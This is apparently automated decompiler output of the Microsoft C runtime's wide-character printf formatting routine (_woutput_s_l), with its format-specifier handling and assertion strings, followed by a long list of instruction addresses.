																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																				goto L126;
																			}
																			L125:
																			 *(__ebp - 0x30) = 1;
																			goto L128;
																		}
																		L122:
																		 *(__ebp - 0x30) = 6;
																		goto L128;
																	case 6:
																		L69:
																		 *(__ebp - 0xc) = 1;
																		__ebp + 0x14 = E004285E0(__ebp + 0x14);
																		 *(__ebp - 0x458) = __ax;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__cx =  *(__ebp - 0x458);
																			 *(__ebp - 0x448) = __cx;
																		} else {
																			 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																			 *(__ebp - 0x470) = __dl;
																			 *((char*)(__ebp - 0x46f)) = 0;
																			__ecx = __ebp - 0x40;
																			__eax = E0041AFF0(__ebp - 0x40);
																			__ecx = __ebp - 0x40;
																			E0041AFF0(__ebp - 0x40) =  *__eax;
																			__ecx =  *(__ebp - 0x448 + 0xac);
																			__edx = __ebp - 0x470;
																			__eax = __ebp - 0x448;
																			__eax = E0043B720(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																			__eflags = __eax;
																			if(__eax < 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x24) = 1;
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	case 7:
																		L141:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L150:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E004285E0(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004285E0(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x49c) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E004285E0(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428600(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x4a0) = E00428600(__ebp + 0x14);
																			 *(__ebp - 0x49c) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L167;
																		}
																	case 8:
																		L106:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x484) = E004285E0(__ebp + 0x14);
																		__eax = E00434180();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L116:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__ecx =  *(__ebp - 0x484);
																				__edx =  *(__ebp - 0x44c);
																				 *__ecx =  *(__ebp - 0x44c);
																			} else {
																				__edx =  *(__ebp - 0x484);
																				__ax =  *(__ebp - 0x44c);
																				 *( *(__ebp - 0x484)) = __ax;
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		}
																		L107:
																		__ecx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x4f4) = 0;
																		} else {
																			 *(__ebp - 0x4f4) = 1;
																		}
																		__edx =  *(__ebp - 0x4f4);
																		 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E520();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) != 0) {
																			L115:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		} else {
																			L114:
																			 *((intOrPtr*)(L00423010(__ecx))) = 0x16;
																			__eax = E00422DA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x4cc) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041AFC0(__ecx);
																			__eax =  *(__ebp - 0x4cc);
																			goto L225;
																		}
																	case 9:
																		L148:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E004285E0(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004285E0(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004285E0(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428600(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428600(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																			goto L163;
																		}
																	case 0xa:
																		L143:
																		 *(__ebp - 0x30) = 8;
																		goto L144;
																	case 0xb:
																		L84:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x4f0) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x4f0);
																		 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E004285E0(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			L98:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__ecx =  *0x440f84; // 0x404468
																				 *(__ebp - 4) = __ecx;
																			}
																			 *(__ebp - 0xc) = 1;
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x480) =  *(__ebp - 4);
																			while(1) {
																				L101:
																				__eax =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c) - 1;
																				 *(__ebp - 0x47c) = __ecx;
																				__eflags =  *(__ebp - 0x47c);
																				if( *(__ebp - 0x47c) == 0) {
																					break;
																				}
																				L102:
																				__edx =  *(__ebp - 0x480);
																				__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L103:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																			}
																			L104:
																			__edx =  *(__ebp - 0x480);
																			__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																			__eflags = __edx;
																			 *(__ebp - 0x24) = __edx;
																			goto L105;
																		} else {
																			L88:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __eax;
																			}
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x478) = __ecx;
																			 *(__ebp - 0x24) = 0;
																			while(1) {
																				L92:
																				__eax =  *(__ebp - 0x24);
																				__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																				if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																					break;
																				}
																				L93:
																				__ecx =  *(__ebp - 0x478);
																				__edx =  *__ecx;
																				__eflags =  *__ecx;
																				if( *__ecx == 0) {
																					break;
																				}
																				L94:
																				__ecx = __ebp - 0x40;
																				E0041AFF0(__ebp - 0x40) =  *(__ebp - 0x478);
																				__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																				__eax = E00431490( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																				__eflags = __eax;
																				if(__eax != 0) {
																					__edx =  *(__ebp - 0x478);
																					__edx =  *(__ebp - 0x478) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x478) = __edx;
																				}
																				 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																				 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																				__edx =  *(__ebp - 0x24);
																				__edx =  *(__ebp - 0x24) + 1;
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																			}
																			L97:
																			L105:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		}
																	case 0xc:
																		L142:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E004285E0(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004285E0(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E004285E0(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428600(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428600(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																			goto L163;
																		}
																	case 0xd:
																		goto L0;
																	case 0xe:
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																}
															case 8:
																L24:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000002;
																 *(__ebp - 0x10) = __ecx;
																goto L27;
															case 9:
																L25:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																goto L27;
															case 0xa:
																L23:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																goto L27;
															case 0xb:
																L22:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																goto L27;
															case 0xc:
																L26:
																__eax =  *(__ebp - 0x10);
																__eax =  *(__ebp - 0x10) | 0x00000008;
																__eflags = __eax;
																 *(__ebp - 0x10) = __eax;
																goto L27;
															case 0xd:
																L27:
																goto L214;
														}
													} else {
														_t517 = 0;
														if(0 == 0) {
															 *(_t525 - 0x4dc) = 0;
														} else {
															 *(_t525 - 0x4dc) = 1;
														}
														 *(_t525 - 0x46c) =  *(_t525 - 0x4dc);
														if( *(_t525 - 0x46c) == 0) {
															_push(L"(\"Incorrect format specifier\", 0)");
															_push(0);
															_push(0x460);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t498 = L0041E520();
															_t527 = _t527 + 0x14;
															if(_t498 == 1) {
																asm("int3");
															}
														}
														L14:
														if( *(_t525 - 0x46c) != 0) {
															goto L16;
														} else {
															 *((intOrPtr*)(L00423010(_t510))) = 0x16;
															E00422DA0(_t501, _t510, _t523, _t524, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
															 *(_t525 - 0x4c8) = 0xffffffff;
															E0041AFC0(_t525 - 0x40);
															_t483 =  *(_t525 - 0x4c8);
															L225:
															return E0042BF30(_t483, _t501,  *(_t525 - 0x48) ^ _t525, _t517, _t523, _t524);
														}
													}
												}
												L215:
												__eflags =  *(_t525 - 0x45c);
												if( *(_t525 - 0x45c) == 0) {
													L218:
													 *(_t525 - 0x4f8) = 1;
													L219:
													_t517 =  *(_t525 - 0x4f8);
													 *(_t525 - 0x4bc) =  *(_t525 - 0x4f8);
													__eflags =  *(_t525 - 0x4bc);
													if( *(_t525 - 0x4bc) == 0) {
														_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
														_push(0);
														_push(0x8f5);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t488 = L0041E520();
														_t527 = _t527 + 0x14;
														__eflags = _t488 - 1;
														if(_t488 == 1) {
															asm("int3");
														}
													}
													__eflags =  *(_t525 - 0x4bc);
													if( *(_t525 - 0x4bc) != 0) {
														 *(_t525 - 0x4d4) =  *(_t525 - 0x44c);
														E0041AFC0(_t525 - 0x40);
														_t483 =  *(_t525 - 0x4d4);
													} else {
														 *((intOrPtr*)(L00423010(_t502))) = 0x16;
														E00422DA0(_t501, _t502, _t523, _t524, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
														 *(_t525 - 0x4d0) = 0xffffffff;
														E0041AFC0(_t525 - 0x40);
														_t483 =  *(_t525 - 0x4d0);
													}
													goto L225;
												}
												L216:
												__eflags =  *(_t525 - 0x45c) - 7;
												if( *(_t525 - 0x45c) == 7) {
													goto L218;
												}
												L217:
												 *(_t525 - 0x4f8) = 0;
												goto L219;
											}
										}
										L184:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L186:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L187;
										}
										L185:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L187;
										}
										goto L186;
									}
									L180:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x4a4);
									__edx =  *(__ebp - 0x4a8);
									__eax = E00430A00( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
									 *(__ebp - 0x494) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x4a4);
									__ecx =  *(__ebp - 0x4a8);
									 *(__ebp - 0x4a8) = E00430A80( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
									 *(__ebp - 0x4a4) = __edx;
									__eflags =  *(__ebp - 0x494) - 0x39;
									if( *(__ebp - 0x494) > 0x39) {
										__edx =  *(__ebp - 0x494);
										__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
										__eflags = __edx;
										 *(__ebp - 0x494) = __edx;
									}
									__eax =  *(__ebp - 4);
									 *( *(__ebp - 4)) =  *(__ebp - 0x494);
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L178:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L180;
									}
									goto L179;
								}
							}
							L165:
							__eflags =  *(__ebp - 0x4a0);
							if( *(__ebp - 0x4a0) >= 0) {
								goto L167;
							}
							goto L166;
							L167:
							__ecx =  *(__ebp - 0x4a0);
							 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
							__edx =  *(__ebp - 0x49c);
							 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
							goto L168;
						}
					}
				}
			}

0x0043c559
0x0043c559
0x0043c559
0x0043c559
0x0043c559
0x0043c559
0x0043c559
0x0043c563
0x0043c563
0x0043c563
0x0043c56d
0x0043c56d
0x0043c573
0x0043c575
0x0043c57a
0x0043c584
0x0043c584
0x0043c587
0x0043c58b
0x0043c58b
0x0043c5b2
0x0043c5b2
0x0043c5b5
0x0043c5b5
0x0043c5ba
0x0043c5dc
0x0043c5dc
0x0043c5e2
0x0043c604
0x0043c604
0x0043c607
0x0043c64e
0x0043c64e
0x0043c651
0x0043c66e
0x0043c672
0x0043c67a
0x0043c67a
0x0043c67c
0x0043c682
0x0043c653
0x0043c653
0x0043c657
0x0043c65f
0x0043c660
0x0043c666
0x0043c666
0x0043c609
0x0043c60c
0x0043c60c
0x0043c60f
0x0043c62d
0x0043c639
0x0043c63c
0x0043c63d
0x0043c643
0x0043c611
0x0043c611
0x0043c615
0x0043c61d
0x0043c61e
0x0043c61f
0x0043c625
0x0043c625
0x0043c649
0x0043c5e4
0x0043c5e4
0x0043c5f0
0x0043c5f6
0x0043c5f6
0x0043c5bc
0x0043c5bc
0x0043c5c8
0x0043c5ce
0x0043c5ce
0x0043c68b
0x0043c68b
0x0043c68e
0x00000000
0x00000000
0x0043c690
0x0043c690
0x0043c697
0x00000000
0x00000000
0x0043c699
0x0043c699
0x0043c6a4
0x0043c6aa
0x0043c6ac
0x0043c6b2
0x0043c6b5
0x0043c6b7
0x0043c6bd
0x0043c6c6
0x0043c6cb
0x0043c6e8
0x0043c6eb
0x0043c6eb
0x0043c6f0
0x0043c6f5
0x0043c6f5
0x0043c6fb
0x0043c6fd
0x0043c703
0x0043c709
0x0043c709
0x0043c712
0x0043c712
0x0043c6fb
0x0043c718
0x0043c71c
0x0043c72a
0x0043c72d
0x0043c730
0x0043c737
0x0043c739
0x0043c739
0x0043c71e
0x0043c71e
0x0043c71e
0x0043c746
0x0043c746
0x0043c74c
0x0043c74e
0x0043c74e
0x0043c755
0x0043c75b
0x0043c75e
0x0043c75e
0x0043c75e
0x0043c764
0x0043c767
0x0043c76a
0x0043c76c
0x00000000
0x00000000
0x0043c76e
0x0043c774
0x0043c774
0x0043c77a
0x0043c7f7
0x0043c7fd
0x0043c800
0x0043c803
0x0043c806
0x0043c809
0x0043c80f
0x0043c80f
0x0043c815
0x0043c840
0x0043c840
0x0043c840
0x0043c844
0x00000000
0x00000000
0x0043c84a
0x0043c84d
0x0043c84d
0x0043c850
0x0043c855
0x0043c855
0x0043c85a
0x0043c871
0x0043c871
0x0043c874
0x0043c88b
0x0043c88b
0x0043c88e
0x0043c890
0x0043c895
0x0043c899
0x0043c899
0x0043c876
0x0043c876
0x0043c87b
0x0043c87f
0x0043c87f
0x0043c85c
0x0043c85c
0x0043c861
0x0043c865
0x0043c865
0x0043c85a
0x0043c8a3
0x0043c8a6
0x0043c8a9
0x0043c8b2
0x0043c8b2
0x0043c8b5
0x0043c8b7
0x0043c8be
0x0043c8c2
0x0043c8cb
0x0043c8d0
0x0043c8d3
0x0043c8da
0x0043c8de
0x0043c8e2
0x0043c8ee
0x0043c8f1
0x0043c8f1
0x0043c8f4
0x0043c8f9
0x0043c8f9
0x0043c8fc
0x0043c8fe
0x0043c905
0x0043c909
0x0043c912
0x0043c917
0x0043c8fc
0x0043c91a
0x0043c91e
0x0043c9d8
0x0043c9d8
0x0043c9df
0x0043c9e3
0x0043c9e7
0x0043c9eb
0x00000000
0x0043c924
0x0043c924
0x0043c924
0x0043c928
0x00000000
0x00000000
0x0043c92e
0x0043c92e
0x0043c931
0x0043c937
0x0043c93a
0x0043c940
0x0043c940
0x0043c940
0x0043c94c
0x0043c94f
0x0043c955
0x0043c957
0x00000000
0x00000000
0x0043c959
0x0043c959
0x0043c95c
0x0043c962
0x0043c96a
0x0043c96c
0x0043c973
0x0043c97a
0x0043c989
0x0043c98f
0x0043c996
0x0043c9a4
0x0043c9a4
0x0043c9ab
0x0043c9b7
0x0043c9c5
0x0043c9cb
0x00000000
0x0043c9cb
0x0043c998
0x0043c998
0x00000000
0x0043c998
0x0043c9d6
0x0043c9f3
0x0043c9f3
0x0043c9fa
0x0043c9ff
0x0043c9ff
0x0043ca02
0x0043ca04
0x0043ca0b
0x0043ca18
0x0043ca1d
0x0043ca02
0x0043c9fa
0x0043ca20
0x0043ca20
0x0043ca24
0x0043ca28
0x0043ca2c
0x0043ca34
0x0043ca34
0x0043ca3b
0x0043ca3b
0x0043bbbb
0x0043bbc2
0x0043bbcf
0x0043bbd4
0x00000000
0x0043bbe7
0x0043bbf1
0x0043bc18
0x0043bbff
0x0043bc10
0x0043bc10
0x0043bbf1
0x0043bc22
0x0043bc28
0x0043bc34
0x0043bc37
0x0043bc45
0x0043bc48
0x0043bc55
0x0043bcfa
0x0043bd00
0x0043bd06
0x0043bd0d
0x00000000
0x00000000
0x0043bd13
0x0043bd19
0x00000000
0x0043bd20
0x0043bd20
0x0043bd3a
0x0043bd3f
0x00000000
0x00000000
0x0043bd47
0x0043bd47
0x0043bd4e
0x0043bd51
0x0043bd54
0x0043bd57
0x0043bd5a
0x0043bd5d
0x0043bd60
0x0043bd67
0x0043bd6e
0x00000000
0x00000000
0x0043bd7a
0x0043bd7a
0x0043bd81
0x0043bd8d
0x0043bd90
0x0043bd96
0x0043bd9d
0x00000000
0x00000000
0x0043bd9f
0x0043bda5
0x0043bda5
0x0043bdac
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bdf0
0x0043bdf0
0x0043bdf7
0x0043bdfa
0x0043be24
0x0043be27
0x0043be27
0x0043be31
0x0043be31
0x0043be35
0x0043bdfc
0x0043bdfc
0x0043be08
0x0043be0b
0x0043be0f
0x0043be11
0x0043be14
0x0043be14
0x0043be17
0x0043be1a
0x0043be1d
0x0043be1f
0x0043be1f
0x0043be22
0x0043be38
0x00000000
0x00000000
0x0043be3d
0x0043be3d
0x00000000
0x00000000
0x0043be49
0x0043be49
0x0043be50
0x0043be53
0x0043be73
0x0043be76
0x0043be76
0x0043be80
0x0043be80
0x0043be84
0x0043be55
0x0043be55
0x0043be61
0x0043be64
0x0043be68
0x0043be6a
0x0043be6a
0x0043be71
0x00000000
0x00000000
0x0043be8c
0x0043be8c
0x0043be93
0x0043be9f
0x0043bea2
0x0043bea8
0x0043beaf
0x0043bfc2
0x00000000
0x0043bfc2
0x0043beb5
0x0043bebb
0x0043bebb
0x0043bec2
0x00000000
0x0043bef9
0x0043bef9
0x0043befc
0x0043beff
0x0043bf02
0x0043bf29
0x0043bf29
0x0043bf2c
0x0043bf2f
0x0043bf32
0x0043bf56
0x0043bf56
0x0043bf59
0x0043bf5c
0x0043bf5f
0x0043bf98
0x0043bfa9
0x00000000
0x0043bfa9
0x0043bf61
0x0043bf61
0x0043bf64
0x0043bf67
0x0043bf6a
0x00000000
0x00000000
0x0043bf6c
0x0043bf6c
0x0043bf6f
0x0043bf72
0x0043bf75
0x00000000
0x00000000
0x0043bf77
0x0043bf77
0x0043bf7a
0x0043bf7d
0x0043bf80
0x00000000
0x00000000
0x0043bf82
0x0043bf82
0x0043bf85
0x0043bf88
0x0043bf8b
0x00000000
0x00000000
0x0043bf8d
0x0043bf8d
0x0043bf90
0x0043bf93
0x0043bf96
0x0043bf9a
0x00000000
0x0043bf9a
0x00000000
0x0043bf96
0x0043bf34
